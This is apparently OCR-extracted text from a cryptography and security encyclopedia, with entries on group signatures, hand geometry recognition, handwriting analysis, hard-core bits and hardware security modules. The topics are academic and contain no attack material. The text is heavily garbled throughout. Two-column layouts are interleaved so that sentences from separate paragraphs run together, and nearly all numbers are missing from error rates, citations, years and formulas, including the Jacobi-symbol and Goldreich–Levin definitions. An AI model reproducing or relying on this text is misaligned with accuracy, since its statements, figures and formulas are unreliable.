. An operation for generating pairs of a private group key
Group Key Agreement and a public group key for a trusted group authority
. Operations for group management such as joining and
revoking group members
. An operation for signing messages
Group Key Exchange . An operation for verifying signatures against a public
group key
Group Key Agreement . An operation to identify (de-anonymize) a group
member by one of her or his signatures
In a group signature scheme, each signing member of a
Group Signatures group has an individual signing key pair. If individuals gen-
erate their key pairs without having to agree on common
Gerrit Bleumer domain parameters, the group signature scheme is called
Research and Development, Francotyp Group, separable []. An individual is registered for a group by pre-
Birkenwerder bei Berlin, Germany senting a suitable ID certificate to the respective trusted
group authority and submitting her or his public verify-
ing key. The trusted group authority constructs a group
Related Concepts
key pair, which consists of a private group key and a public
Anonymity; Digital Signature; Forgery; Threshold
group key, and publishes the public group key through one
Signature
or more authentic channels such as a public key infrastruc-
Definition ture (PKI). A member leaves a group by revoking her or
Group signatures are digital signatures where signers can his public verifying key from the trusted group authority.
establish groups such that each member of the group can It is the responsibility of the trusted group authority to keep
produce signatures anonymously on behalf of the group. track of who belongs to the group at any point of time. A
Each group can be managed by a trusted group author- group signature scheme is called static if the public group
ity, which oversees joining and leaving the group and can key needs to be updated if members join or leave the group,
reidentify individual signers in case of disputes according or update their individual key pairs. Constructions were
to a clearly stated policy. Obviously, different groups can proposed in [, , ]. All of them suffer from the drawback
choose to be managed by the same trusted group authority, that the size of a public group key and that of the signatures
or a group can choose to fully distribute the group man- are proportional to the size of a group. If the public group
agement among its members such that every member is key remains unchanged when members join or leave the
involved in all management transactions. group or update their individual key pairs, the group sig-
nature scheme is called dynamic []. A dynamic group
Background signature scheme features a sequential join or a concurrent
The concept of group signatures and first practical join depending on whether the trusted group authority can
constructions were introduced by Chaum and van Heijst join two or more new members one after another or in
Group Signatures G
parallel. The first construction of a dynamic group signa- member who has in fact not produced the signature
ture scheme was proposed by Camenisch and Stadler []. (false claim of origin).
Their paper sparked more work on dynamic group signa- Full Anonymity: Any adversary without access to the
ture schemes [, , , ]. A formel model for group sig- trusted group authority, who chooses a message m
natures with concurrent join and an efficient construction and two group members i and j and is then provided
was proposed by Kiayias and Yung []. with the two group signatures of members i and j (in
Everyone who has access to the public group key of random order) for message m with respect to the public
group G can verify every signature produced by every group key, cannot find out with non-negligibly better
member of group G. When a signature is disputed, the chance of success than pure guessing, which signature
respective verifier can request the signers identity from comes from which member.
the respective trusted group authority. The trusted group Forward Security: Signers who leave the group can no
authority then uses the private group key in order to longer sign messages on behalf of the group. Other
recover the signers identity. The conditions whether and additional security requirements are proposed by
when a signers identity is recovered and released are con- Song [].
trolled by the group management policy under which the
trusted group authority operates.
Full-traceability implies the unforgeability require- G
ment of any signature scheme. It also implies other security
Robust key management is a particularly important
requirements that have been stated in the literature such as
issue in group signatures. For example, if the public group
coalition-resistance, exculpability, and framing-resistance.
key changes whenever members join or leave the group or
Full-anonymity can be expressed equivalently in terms of
update their private signing keys, then it becomes a bur-
unlinkability as follows []:
den for the trusted group authority to publish the public
group keys for all recent time intervals in a timely fash- Unlinkability: Any adversary without access to the trusted
ion. Moreover, if a private signing key of a group member group authority, who is given two messages m, m and
is compromised, then the attacker can freely produce sig- corresponding signatures s, s of two signers where s
natures on behalf of the group until the respective public and s are valid for these messages with respect to the
verifying key is revoked. Therefore, all the signatures of public group key, cannot decide with non-negligible
the victimized group member must be regarded invalid if probability better than pure guessing whether the two
there is no way of distinguishing the signatures produced signatures have been produced by the same group
by the honest group member from those produced by the member or two different group members.
attacker. These problems are addressed by an approach
Constructions have been based on groups, in which the
called forward security. Forward secure group signature
discrete logarithm problem is hard [], and on the RSA
schemes allow individual group members to join or leave a
signature scheme [, , ]. It is shown by Bellare et al. []
group or update their private signing keys without affect-
that secure group signatures exist if trapdoor permutations
ing the respective public group key. By dividing the lifetime
exist. They suggest a static group signature construction
of all individual private signing keys into discrete time
where the length of all keys of a group is logarithmic in the
intervals, and by tying all signatures to the time interval
number of its members. Their construction is not efficient,
when they are produced, group members who are revoked
but serves as a proof of existence of a construction that is
in time interval i have their signing capability effectively
provably secure in the standard model (without random
stripped away in time interval i + , while all their signa-
oracles).
tures produced in time interval i or before (and, of course,
the signatures of all other group members) remain verifi-
able and anonymous []. Forward security in group signa- Applications
ture schemes is similar to forward security in threshold Group signatures are useful, for example, to build secure
signature schemes. auction systems [], where all the bidders form a group
The characteristic security requirements of a group and authorize their tenders by group signatures. After
signature scheme are []: the winning tender has been determined, the trusted
group authority can reidentify the lucky bidder, while
Full Traceability: Any coalition of cheating signers including the other bidders remain anonymous. Group signature
a cheating group authority, who pool their private indi- schemes are dually related to identity escrow schemes [],
vidual keys and the private group key, cannot produce i.e., group-member identification schemes with revocable
a valid signature that identifies an originating group anonymity.
G Group Signatures
Group signature schemes can be equipped with addi- . Ateniese G, Camenisch J, Joye M, Tsudik G () A practical
tional features: Cramer et al. [] proposed to add thresh- and provably secure coalition-resistant group signature scheme.
In: Bellare M (ed) Advances in cryptology CRYPTO .
old properties into a group signature scheme such that
any subset of group members can be authorized to pro- pp
duce signatures on behalf of the group. Lysyanskaya and . Camenisch J, Michels M () A group signature scheme
Ramzan [] proposed blind group signatures based on with improved efficiency. In: Ohta K, Pei D (eds) Advances
the dynamic group signature scheme by Camenisch and in cryptography ASIACRYPT. Lecture notes in computer
Stadler []. Another blind group signature scheme based
. Kiayias A, Yung M () Group signatures with efficient con-
on [] was proposed by Nguyen et al. []. current join. In: Cramer R (ed) Advances in cryptology
EUROCRYPT . Lecture notes in computer science, vol
Recommended Reading . Bellare M, Micciancio D, Warinschi B () Foundations
. Chaum D, van Heijst E () Group signatures. In: Davies DW of group signatures: format definitions, simplified require-
(ed) Advances in cryptology EUROCRYPT. Lecture notes ments, and a construction based on general assumptions. In:
in computer science, vol . Springer, Berlin, pp Biham E (ed) Advances in cryptology EUROCRYPT. Lec-
. Desmedt Y () Threshold cryptography. In: Seberry J, ture notes in computer science, vol . Springer, Berlin,
Zheng Y (eds) Advances in cryptology AUSCRYPT. Lecture pp
notes in computer science, vol . Springer, Berlin, pp . Kilian J, Petrank E () Identity escrow. In: Krawczyk
. Camenisch J, Michels M () Separability and efficiency of H (ed) Advances in cryptology CRYPTO. Lecture
generic group signatures. In: Wiener J (ed) Advances in cryptol- notes in computer science, vol . Springer, Berlin,
ogy CRYPTO. Lecture notes in computer science, vol . pp
Springer, Berlin, pp . Cramer R, Damgrd I, Schoenmakers B () Proofs of partial
. Camenisch J () Efficient and generalized group signatures. knowledge and simplified design of witness hiding Protocols. In:
In: Fumy W (ed) Advances in cryptology EUROCRYPT. Desmedt YG (ed) Advances in cryptology CRYPTO. Lecture
Lecture notes in computer science, vol . Springer, Berlin, notes in computer science, vol . Springer, Berlin, pp ,
pp CWI Quart J, ():,
. Chen L, Pedersen TP () New group signature schemes. In: . Lysyanskaya A, Ramzan Z () Group blind digital signatures:
De Santis A (ed) Advances in cryptology EUROCRYPT. a scalable solution to electronic cash. In: Goldschlag DM, Stub-
Lecture notes in computer science, vol . Springer, Berlin, blebine SG (eds) Financial cryptography . Lecture notes in
pp computer science, vol . Springer, Berlin, pp
. Song DX () Practical forward secure group signature . Nguyen KQ, Mu Y, Varadharajan V () Divertible zero-
schemes. th ACM conference on computer and communica- knowledge proof of polynomial relations and blind group signa-
tions security (CCS-). ACM Press, New York ture. In: Pieprzyk J, Safari-Naini R, Seberry J (eds) Australasian
. Camenisch J, Stadler M () Efficient group signature schemes conference on information security and privacy, ACISP.
for large groups. In: Kaliski BS (ed) Advances in cryptology Lecture notes in computer science, vol . Springer, Berlin,
CRYPTO. Lecture notes in computer science, vol . pp
H
hand images include finger length, finger width, finger
Hand Geometry Recognition thickness, and palm width. Finger thickness features
are computed from the lateral view of the hand, which
David Zhang, Vivek Kanhangad can be easily acquired using a mirror with this kind of
Biometrics Research Centre, Department of Computing, constrained imaging setup.
The Hong Kong Polytechnic University, Hung Hom, . Unconstrained and contact-based: Hand images are
Kowloon, Hong Kong acquired in an unconstrained manner, often requiring
the users to place their hand on flat surface. A back-
Synonyms lit surface with camera mounted on top can also be
Hand geometry verification employed to acquire high-contrast hand images. Land-
mark points (finger tips and finger valleys) on the hand
Denition image are commonly used to align images prior to fea-
Hand geometry recognition is a biometric approach to ture extraction. An alternate approach is to extract fea-
automatically recognize individuals based on the unique tures that are invariant to image plane transformations
geometric features of the hand. of the acquired hand images.
. Unconstrained and contact-free: This approach does
Background away with the need for any pegs or platform during
Hand geometry biometric systems utilize features such as hand image acquisition. Users are given the freedom
finger length, finger width, finger thickness, finger area, to hold their hand freely in the D space, usually at a
and palm width to perform personal authentication. These fixed (approximately) distance from the camera. The
systems have gained immense popularity and public accep- absence of any mechanism to constrain the placement
tance as evident from their extensive deployment for appli- of the hand introduces additional challenges in terms
cations in access control, time attendance applications of variations in scale and out-of-plane transforma-
and several other verification tasks. Major advantages of tions (D pose) in the acquired hand images. Images
hand geometry systems include simple imaging require- acquired in cluttered backgrounds may also require
ments (features can be extracted from low-resolution hand sophisticated segmentation algorithms to localize the
images), the ability to operate under harsh environmental hand in the image. This mode of image acquisition is
conditions (immune to dirt on the hand and other external believed to be more user-friendly.
factors), and low data-storage requirements. In addition,
hand geometry acquisition and verification is extremely
fast. These distinct advantages over other biometricshelped
Theory
A typical imaging set up for a D hand geometry system
the hand geometry systems capture a niche market.
would involve the following components: a CCD camera,
Hand recognition approaches can be classified in to
illumination source, and a flat surface []. CCD camera
three categories based on the nature of image acquisition:
employed is usually low to medium resolution as the hand
. Constrained and contact-based: These systems employ geometry features can be extracted from binary images of
pegs or pins on the platform to constrain the posi- the hand. Prior to feature extraction, acquired hand images
tion and posture of the hand. Image acquisition is are usually processed to obtain a binary image of the hand
usually done under controlled environments, with uni- or in some cases, a hand contour. In most cases, a simple
form illumination. Hand images acquired using such thresholding scheme followed bymorphological operations
systems require minimum processing prior to fea- is used to segment the hand from the background (refer
ture extraction and thereby considerably reducing the to Fig. ). Boundary pixels of the hand in the processed
time required for the process of authentication. Typical binary image are then identified using the contour-tracing
hand geometry features extracted from the acquired algorithm toobtainthe hand contour. Figure shows typical
H Hand Geometry Recognition
a b
Hand Geometry Recognition. Fig. Preprocessing stages (a) Acquired intensity image (b) Binary hand image after thresholding
and morphological operations
Hand length
of these hand images are acquired in an unconstrained
Finger length Finger width and contact-free manner. The feature extraction module
computed various features (refer to Fig. ) and concatenated
them to form a feature vector. The computation of matching
distancebetweentwofeaturevectorsisbasedontheEuclidean
distance. As shown in Fig. , the hand geometry matcher
achieved an EER of .% on the aforementioned database.
Palm length
Applications
The history of hand geometry biometric technology/
systems dates back over decades. In fact, the hand geom-
etry system Identimat developed by Identimation is
one of the earliest reported implementations of a biomet-
ric system for commercial applications. Since then, the
hand geometry biometric systems have found applications
Finger perimeter in wide variety of fields ranging from airports to nuclear
power plants []. USPASS (formerly known as INSPASS)
Hand Geometry Recognition. Fig. Typical hand geometry is the first and the largest hand-geometry-based biomet-
features marked on a hand contour ric verification program undertaken by the US government
to accelerate the process of immigration for authorized
and frequent travelers. As part of this program, HandKey
hand geometry features extracted from the contour of the scanners were installed at certain airports in the USA to
hand. Finger length is computed as the distance from the accelerate the process of immigration for frequent fliers.
fingertiptoitsbasealongtheorientationofthefinger.Finger- Another large-scale deployment was at Olympics
width measurements are made at a number of evenly spaced Games in Atlanta, where hand geometry scanners were
points along the finger length. Finger perimeter refers to the installed to restrict access to the Olympic Village. Due
numberofpixelsonthefingercontour.Allthemeasurements to limited discriminatory power of the hand geometry
showninFig.areusuallymadeintermsofpixels.Inaddition features, these systems are rarely employed for applica-
to these geometric measurements from the hand, the hand tions that require performing identity recognition from a
contour (silhouette) can also be used (as a shape feature) in large-scale database. However, hand geometry systems are
establishing the identity. extensively used for personal verification tasks.
Experimental Results Recommended Reading

. Duta N () A survey of biometric technology based on hand
Experiments are performed on a database of hand images
shape. Pattern Recogn ():
acquired from subjects. Five samples are collected in . Jain AK, Ross A, Pankanti S () A prototype hand geometry-
the first session (training samples), followed by another based verification system. Proceedings of the AVBPA, Washing-
five samples in the second session (probe samples). All ton DC, pp. , Mar
Handwriting Analysis H
Receiver operating characteristics

100
90
80
Genuine acceptance rate (%)
70
60
50
40
30
20 H
2D hand geometry (EER = 6.3%)
10
0
103 102 101 100 101
False acceptance rate (%)
Hand Geometry Recognition. Fig. Receiver operating characteristics (ROC) curve for a hand geometry matcher
. Sanchez-Reillo R, Sanchez-Avila C, Gonzalez- Macros A () Denition

Biometric identification through hand geometry measurements. The term handwriting refers to the act of writing by hand
IEEE Trans Pattern Anal Mach Intell ():
graphical marks with the purpose of information commu-
. Sidlauskas DP, Tamer S () Hand geometry recognition. In
Jain AK, Flynn P, Ross A (eds) Handbook of Biometrics. Springer,
nication according to syntactic and semantic specific rules
New York of a specific language.
Hand Geometry Verication Background

The action of handwriting is controlled by a complex neu-
Hand Geometry Recognition romuscular process [] which acts on a writing tool com-
bined with a writing surface to produce a two-dimensional
trajectory. Inherently, handwriting is a continuous analog
signal which can, however, be digitized in order to be pro-
Handwriting Analysis
cessed by computers. Handwriting data acquisition can
be either off-line or on-line. In the off-line case, only the
Patrizio Campisi , Emanuele Maiorana ,
completed writing is available as an image produced by
Harold Mouchre , Christian Viard-Gaudin ,
a scanner or a digital camera, where the main parame-
Alessandro Neri
ter which governs the acquisition process is the sampling
Department of Applied Electronics, Universit degli
resolution measured in dots per inch (dpi). This image is
Studi Roma TRE, Rome, Italy
a static representation of handwriting where all dynamic
Polytech Nantes, Universit de Nantes, IRCCyN, Nantes,
information related to handwriting are lost. On the con-
France
trary, in the on-line modality, the temporal evolution of
some physical quantities involved in the act of writing are
Synonyms collected by means of specialized devices such as PDA,
Longhand; Penmanship Tablet PC, digital pens, or electronic white boards during
H Handwriting Analysis
the writing process. Depending on the technology, the cap- circumstances, health conditions, fatigue, emotional state,
turing devices can provide a variety of information such etc. Although the nature versus nurture properties of hand-
as the coordinates of the pen tip, a Boolean value indi- writing are questionable, all the studies that have been
cating contact with writing plane, pressure, angles with conducted demonstrate the high discriminative power of
the writing plane or tilt, distance from writing plane, handwriting. At school, we all learn to write according
etc. The basic data is a sequence of points, called stroke, to a standard writing style, the copy book, that varies
which is obtained by sampling the curve at regular inter- according to the geographical location, temporal circum-
vals of time. Hence, both spatial and temporal sampling stances, and the cultural and historical backgrounds. With
rates have to be defined. Typically, samples per sec- the passage of time, we develop individual writing char-
ond are collected with a spatial resolution from to acteristics and our handwriting starts to deviate from the
dpi. learned style. These unique characteristics serve to distin-
guish an individuals writing from anothers, even if the
Theory two writings share the same copy book, making it possi-
With the advent of electronic handwriting devices, many ble to identify the author for which one has already seen
researchers have been attracted by the field of automatic a written text. Automatic writer recognition serves as a
handwriting analysis. The information contained in hand- valuable solution for the document examiners, paleogra-
written text is both textual information, which refers to phers, graphologists, and forensic experts. More specif-
what has been written, and personal information, which is ically, it can be used for either writer identification, in
related to the identity of the writer. The extraction of the order to determine the author of a text from a set of writ-
textual information is addressed by handwriting recogni- ers, or for writer verification, to decide whether or not
tion, which consists of transforming graphical marks into a two distinct texts have been written by the same sub-
symbolic representation. Therefore, the specific handwrit- ject.
ing style, unique to each writer, is eliminated by means of Handwriting recognition has matured over the past
some preprocessing in order to focus only on the message few decades to a stage where readily available commercial
conveyed by the written text. Size normalization, based on and industrial text recognition engines are able to provide
the automatic extraction of the baselines or de-slanting, us reasonably high recognition accuracies. See for example
are some of these preprocessing techniques, which are the [] and references therein.
cornerstones of most of the handwriting recognition sys- On the same trend, much progress has been made in
tems. On the other hand, when we do not care about the the field of writer recognition in the last decade. Pioneer-
message itself but we aim at recovering the identity of ing works in establishing a formal quantitative analysis
the writer, we talk about writer recognition. In this latter of handwriting individuality can be credited to the stud-
case, it is of paramount importance to keep all distinc- ies in [, ], where pattern recognition techniques have
tive features related to what has been produced by a writer been used to provide objective assessments and scientific
hand. validations of the individuality in handwriting. A near-
Hence, handwriting recognition and writer recogni- est neighbor algorithm and a -layered neural network
tion represent two opposing facets of handwriting. have been used to train and classify the results for writer
Handwriting recognition has driven a lot of attention identification and writer verification, respectively, using a
in the last decades because of practical applications such database of , individuals stratified across different gen-
as reading handwritten texts on postal envelopes (mail ders, age, groups, and ethnicity. The obtained results have
sorting applications) or bank checks (legal and numeri- verified the hypothesis that individuality exists in hand-
cal amounts recognition), which are typical applications writing with a % confidence from a statistical inference
in the off-line domain, or input methods in the on-line of the entire US population. Writer recognition can be
domain as a substitute to keyboard entry mainly for mobile either text independent, when no assumptions about the
applications. underlying textual data are made, or text dependent, when
On the other hand, a growing interest has raised for the the same text has to be written in the enrollment and
use of handwriting for writer recognition. In fact, hand- recognition stage. The choice between text-independent
writing can be considered as a biometric signal which or text-dependent approaches typically depends on the
conveys a lot of information related to the writer who has target application and on the available data. Signatures
produced the questioned piece of text. More specifically, are examples of text-dependent systems since the writ-
handwriting can be seen as a behavioral biometrics since ers have to write the same text they have written previ-
it depends on many factors, like writing position, place or ously during the enrollment process. On the other hand,
Handwriting Analysis H
text-independent techniques do not bind the writers to advantage of working at the character level is that a set of
any specific line of text in order for the system to recog- consistent templates can be produced to model the hand-
nize them. Instead, the system analyzes their handwriting writing styles of writers. The allograph-based approaches
styles through a series of automated processes, regard- share the following common steps. First, a set of repre-
less of what they have written. For such systems, differ- sentative templates of possible allographs of a letter has
ent levels of analysis can be applied. They range from to be defined either manually or automatically. The so
using global features extracted at the document, para- obtained set is used as a base where the different hand-
graph, and word level, such as texture, curvature, average writing patterns will be projected. It results in a vector
slant, aspect ratios, entropies to much more local features description corresponding to a distribution over the avail-
extracted from an allograph, which represents the charac- able allographs. The writer retrieval consists in matching
teristic shape of a written character, or from a grapheme, two distributions, one coming from the reference dataset
which is a graphical component with no semantic meaning obtained during the enrollment process, the second one
extracted generally with an over-segmentation method, obtained from the questioned document. In [], the prob-
or at even a lower microlevel. In [], a text-independent lem of both writer identification and verification has been
writer approach making use of writer-dependent texture tackled by performing the analysis both at the texture level
features has been presented. Specifically, Gabor filtering and at the allograph level. At the texture level, the orienta-
and grayscale co-occurrence matrices have been used for tion and curvature information have been encoded into a
texture analysis. A % identification accuracy has been contour-based joint directional PDF. At the allograph level,
H
obtained on , testing documents from subjects. portions of the character shapes, namely, graphemes, have
In [], morphological processing has been proposed to been extracted and clustered to obtain a grapheme code-
extract information about the geometrical and structural book. The PDFs of these common shapes have been then
properties of words. Classification has been performed by estimated and used to discriminate the writers. Further-
using both a multilayer perceptron and a Bayesian clas- more, working at the character level allows visualization
sifier. An accuracy of % over a database containing by forensic experts. This helps the forensic analysis of the
only one word written by writers times, both in handwriting of individuals as in [] where dynamic time
English and Greek, has been obtained. An approach for warping has been used to cluster the allographs and then
text-independent writer identification based on the use of build the representative vector of each writer by using
a codebook of connected component contours has been the frequency of occurrence of each allograph for each
proposed in [] with application to uppercase Western character. In [], a text-independent writer identifica-
letters. The probability density function (PDF) of the con- tion allograph-based approach has been presented. Specif-
nected component contours has been used as representa- ically, lowercase letters, prototypes per letter, a vector
tive feature of the writers. The performances of the method description based on the frequency of both occurrency
have been improved by considering, as additional fea- and nonoccurency of a feature in the document, and a
ture, the distribution of local angles along the edges. Text- chi-square metric have been used. An identification rate
independent writer recognition systems can also make of .% over a reference database generated by writ-
use of stochastic approaches like Hidden Markov Model ers has been obtained. The performance of the proposed
(HMM)-based techniques, which, being robust to noise method has been also discussed versus the choice of the
and able to cope with shape variation, represent one of the letters to be used, the effect of the length of the text in
most popular strategies used to match the extracted fea- the test document, the use of different matching metrics,
tures. In [], HMM modeling has been performed both and the method to compute the distributions. Eventu-
for writer identification and verification using static infor- ally, the discriminative power of the alphabets has been
mation. An identification rate of % has been attained analyzed.
when considering , text lines from the writers
and an error rate of .% has been reported for writer
verification. Applications
In the recent past, there has been an increasing trend Applications of handwriting recognition range from read-
in proposing approaches that utilize allograph prototypes, ing handwritten texts on postal envelopes or bank checks,
which are different graphical representations of the char- to analog-to-digital conversion of textual data for auto-
acters composing an alphabet, for writer identification. matic information indexing and retrieval.
Such approaches have been gaining popularity due to Applications for either writer identification or writer
their simplicity and promising identification rates. The verification can be found in several domains. The ancient
H Hard-Core Bit
manuscripts, for example, could serve to study the evo- . Zois EN, Anastassopoulos V () Morphological waveform
lution of the style and form of writing over time, that in coding for writer identification. Pattern Recognit ():
. Schomaker L, Bulacu M () Automatic writer identification
turn reflects the historical and cultural changes of the soci-
using connected-component contours and edge-based features
ety. Knowledge about individual letters, ligatures, punctu- of uppercase western script. IEEE Trans Pattern Anal Mach
ation and abbreviations, and the way they have evolved Intell ():
enables the paleographers and historians to identify the . Schlapbach A, Bunke H () A writer identification and ver-
period when a manuscript was written. Handwriting has ification system using HMM based recognizers. Pattern Anal
Appl ():
also an interesting relationship with neuroscience and sev-
. Bulacu M, Schomaker L () Text-independent writer identi-
eral neurological disorders that could affect the writing fication and verification using textural and allographic features.
motor skills. Handwriting could therefore be of diagnostic IEEE Trans Pattern Anal Mach Intell ():
value for the neurologists, particularly if they have previ- . Niels R, Vuurpijl L, Schomaker L () Automatic allograph
ous writing samples of the patient [, ]. Another domain matching in forensic writer identification. Int J Pattern Recognit
Artif Intell ():
of interest is graphology, where handwriting is used as an
. Tan GX, Viard-Gaudin C, Kot A () Automatic writer iden-
insightful means of personality profiling, highlighting the tification framework for online handwritten documents using
character traits, and tracking the feelings and emotions character prototypes. Pattern Recognit :
of a person. As a matter of fact, graphologists claim that . Eaton HD () Handwriting a neurological study. Calif West
handwriting could reveal more than personality traits Med ():
. Mergl R, Juckel G, Rihl J, Henkel V, Karner M, Tigges P, Schrter
including moods, temperaments, thinking patterns, fears,
A, Hegerl U () Kinematical analysis of handwriting move-
work drive, maturity, social interactions, and so forth. ments in depressed patients. Acta Psychiatr Scand ():
Handwriting recognition has also interesting applications
in the field of forensic science where examiners have to
identify the authorship of a questioned document (e.g. a
will, a ransom note, or a threatening letter), verify sig-
natures, identify forgeries, detect alterations, or analyze Hard-Core Bit
indented writings. At last, another application of writer
identification is the identification of the writer in order to Burt Kaliski
perform writer adaptation to be used in the framework of Office of the CTO, EMC Corporation, Hopkinton,
handwriting recognition so that the system is tuned to a MA, USA
specific writing style and, hence, can outperform a generic
omni-writer system.
Related Concepts
Recommended Reading One-Way Function; Pseudorandom Number Generator
. Plamondon R, Feng R, Woch A () A kinematic theory of
rapid human movements. Biol Cybern ():
. Plamondon R, Srihari SN () On-line and off-line handwrit- Denition
ing recognition: a comprehensive survey. IEEE Trans Pattern A hard-core bit of a one-way function y = f (x) is any
Anal Mach Intell (): bit or other binary function of the input x that is hard to
. Hochberg J, Kelly P, Thomas T () Lila Kerns, Automatic compute significantly better than guessing given the output
script identification from document images using cluster-
y alone.
based templates. IEEE Trans Pattern Anal Mach Intell ():

. Busch A, Boles WW, Sridharan S () Texture for script iden- Theory
tification. IEEE Trans Pattern Anal Mach Intell ():
Let f be a one-way function. According to the definition
. Fujisawa H () Forty years of research in character and doc-
ument recognition an industrial perspective. Pattern Recognit of such a function, it is difficult, given y = f (x), where x
: is random, to recover x. However, it may be easy to deter-
. Srihari SN, Cha SH, Arora H, Lee S () Individuality of mine certain information about x. For instance, the RSA
handwriting. J Forensic Sci (): function f (x) = xe mod n (RSA public-key encryption) is
. Tomai CI, Zhang B, Srihari SN () Discriminatory power
believed to be one-way, yet it is easy to compute the Jacobi
of handwritten words for writer recognition. In: th interna-
tional conference on pattern recognition, vol , Cambridge, UK, symbol of x, given f (x):
pp
. Said HES, Tan TN, Baker KD () Personal identification xe mod n x e x
based on handwriting. Pattern Recognit ():
( ) = ( ) = ( ).
n n n
Hardware Security Module H
Another example is found in the discrete exponentiation B(x ), B(x ), B(x ), . . . ,

function f (x) = g x mod p (discrete logarithm prob-
where xi = f (xi ) and x is a random seed, is indis-
lem), where the least-significant bit of x is revealed from
tinguishable from a truly random sequence of the same
the Legendre symbol of f (x), i.e., f (x)(p)/ , which
length. The proof proceeds by showing that any efficient
indicates whether f (x) is a square and hence whether
algorithm to distinguish the sequence from a truly ran-
x is even.
dom sequence can also be used to distinguish the sup-
It has therefore been of considerable interest in cryp-
posed hard-core bit from a random value, and hence to
tography to understand which parts of the inverse of cer-
approximate the bit.
tain one-way functions are hardest to compute. This has
led to the notion of a hard-core bit. Informally, a function Recommended Reading
B from inputs to {, } is hard core with respect to f if it is . Alexi WB, Chor B, Goldreich O, Schnorr C-P () RSA and
infeasible to approximate B(x), given f (x). Here, approx- Rabin functions: certain parts are as hard as the whole. SIAM J
imating means predicting with probability significantly Comput ():
better than /. . Blum M, Micali S () How to generate cryptographically
Hard-core bits have been identified for the main strong sequences of pseudo-random bits. SIAM J Comput
():
hard problems in public-key cryptography, including the . Goldreich O, Levin L () A hard-core predicate for all one-way
discrete logarithm problem and the RSA problem.
Blum and Micali [] gave the first unapproximability
functions. In: Proceedings of the st annual ACM symposium on
theory of computing. ACM, New York, pp
H
results for the former; Alexi et al. [], the first com- . Hstad J, Nslund M () The security of all RSA and discrete
plete results for the latter. (See also [] for further log bits. J ACM ():
. Hstad J, Schrift AW, Shamir A () The discrete loga-
enhancements.) rithm modulo a composite hides O(n) bits. J Comput Syst Sci
Goldreich and Levin [] have given a very elegant ():
method for constructing a hard-core bit from any one-way . Yao A () Theory and applications of trapdoor functions. In:
function: Proceedings of the rd Annual IEEE Symposium on Foundations
of Computer Science (FOCS). IEEE Computer Society Press, Los
. Define g (x, r) = (f (x), r), where the length of r is the Alamitos, pp
same as the length of x.
. Define B(x, r) = x r xk rk , where xi , ri are the
bits of x and r, and is the exclusive-or operation.
If f is one-way, then g is clearly one-way. Goldreich and Hardware Security Module
Levins key result is a proof that the predicate B so con-
structed is hard core with respect to g. Intuitively, this can Laurent Sustek
be viewed as saying that the XOR of a random subset of Inside Secure France, Atmel, France
bits of the inverse is hard to predict.
Researchers have also studied the related problem of Related Concepts
simultaneous security of multiple bits, that is, whether an Secure Coprocessor
individual hard-core bit remains difficult to approximate
even if the values of other hard-core bits are known. Typ- Background
ically, some constant times log k bits can be shown to be Security devices play an essential role in our everyday
simultaneously secure for the functions mentioned above, life, ensuring security for the financial transactions can be
where k is the size of the input to the function; up to k/ made directly or indirectly. These devices provide the abil-
have been proven simultaneously secure for related func- ity to make transactions within a distributed and virtual
tions []. It has been conjectured that half of the bits of the environment, satisfying the request of Trust and Privacy.
RSA/Rabin functions are simultaneously secure. See also One of the commonly used trusted token is the
[] for some related results. Smart Card.
When you want to pay for some gift, the vendor wants
Applications to be assured that you are the real owner not a hacker
The primary application of hard-core bits is in constructing collecting credit card numbers of the banking account.
a pseudo-random number generator. As shown by Yao On the other side, you need to know that the vendor
[] and Blum and Micali [], if f is a one-way permutation is really who he claims to be before paying. Both par-
and B is a hard-core bit of f , then the sequence ties in this transaction need to authenticate each others
H Hardware Security Module
identity. In addition, depending of the transactions value, Hardware Security Modules perform cryptographic
both parties may want the exchanges protected against operations, protected by hardware. These operations may
hacker spying, disclosing and intercepting the exchanges include:
of the transaction. Both parties need confidentiality and
Random number generation
integrity.
Key generation (asymmetric and symmetric)
Security technology can be divided into two types:
(Asymmetric Cryptosystem and Symmetric Crypto
software defined and hardware achieved.
system)
Security Processors are computational devices that are
Asymmetric private key storage while providing pro-
used to execute security functions in a short execution
tection (security) from attack (i.e., no unencrypted
time. In the context of Information Technology, these
private keys in software or memory):
Security Processors have to execute trustfully these oper-
Private keys used for signing and decryption
ations whether the environment is hostile or not, so they
Private keys used in PKI for storing Root Keys
are usually integrated into a tamper-resistant device or
package. These devices are known by a variety of names, The diagram below describes the internal elements of an
including: HSM (Fig. ).
The diagram below illustrates various hardware encryp-
Tamper-Resistant Security Module (TRSM)
tion technologies and their respective positions of cost
Network Security Processor (NSP)
relative to security (Fig. ). An HSM is a key element in
Host/Hardware Security Module (HSM)
the security chain of a system. It provides all necessary
An HSM is a physically secure, tamper-resistant secu- cryptographic functions in association to a secured key
rity server that provides cryptographic functions to secure management for generation, storage, and handling. Its cost
transactions in retail and financial applications. This may mean that only companies can afford to use such
includes: devices. Overall benefit is the third-party evaluation of
this piece of hardware and software, through governmental
PIN (Personal Identification Number) encryption
certification schemes.
and verification
Debit card validation
Stored value card issuing and processing Useful Links
Chip card issuing and processing More on HSM: http://www.cren.net/crenca/onepagers/
Message authentication (MAC Algorithms) additionalhsm.html
Symmetric key management Building a High-Performance, Programmable Secure
CoProcessor by Sean W. Smith and Steve Weingart
With a DSP-RSA Module, the HSM can also support public
key cryptographic operations including digital signatures,
certificates, and asymmetric key management.
Acting as a peripheral to a host computer, the HSM
provides the cryptographic facilities needed to implement
Responsive Tamper Resistant Package
a wide range of data security tasks.
Banks, corporations, and probably some branches of
the military are using HSMs as part of their security chain. Volatile Memory Non Volatile Memory Real Time Clock
Theory CPU
Interface ports
Hardware Security Modules offer a higher level of secu-
rity than software. They are normally evaluated by third Co-Processor
parties, such as the USAs National Institute of Standards RSA, DES, SHA-1, DSA
Random Number Generator
and Technology (NIST), through the Federal Informa-
tion Processing Standards Publication (FIPS PUB ) or
French Direction Centrale de la Scurit des Systms Host System
dInformation (DCSSI). This level of security is required
by some highly secured web applications, Public Key
Infrastructures, and Certification Authorities. Hardware Security Module. Fig.
Hardware Security Module H
TPM External box

Security Level
Smart Card PCI Card
PC
Card
USB
token
Cost
H
Hardware Security Module. Fig.
Hardware Security Module. Table
FIPS-
Level Description
Lowest security level. Basic hardware or software based cryptographic functions implementation
Both software and hardware implementations can meet this level. Hardware must incorporate a limited degree of
tamper-evident design or employ locks to secure sensitive information. Role-based authentication is required to autho-
rize a dened set of services. Role-based authentication required. Meets ISO Common Criteria (CC) Evaluation
Assurance Level EAL or higher
Physical tamper resistance is required. Indentity-based authentication (indentity check+acces autorization). Physical or
logical communication interfaces separation, introducing notion of trusted path. Meets CC EAL level or higher
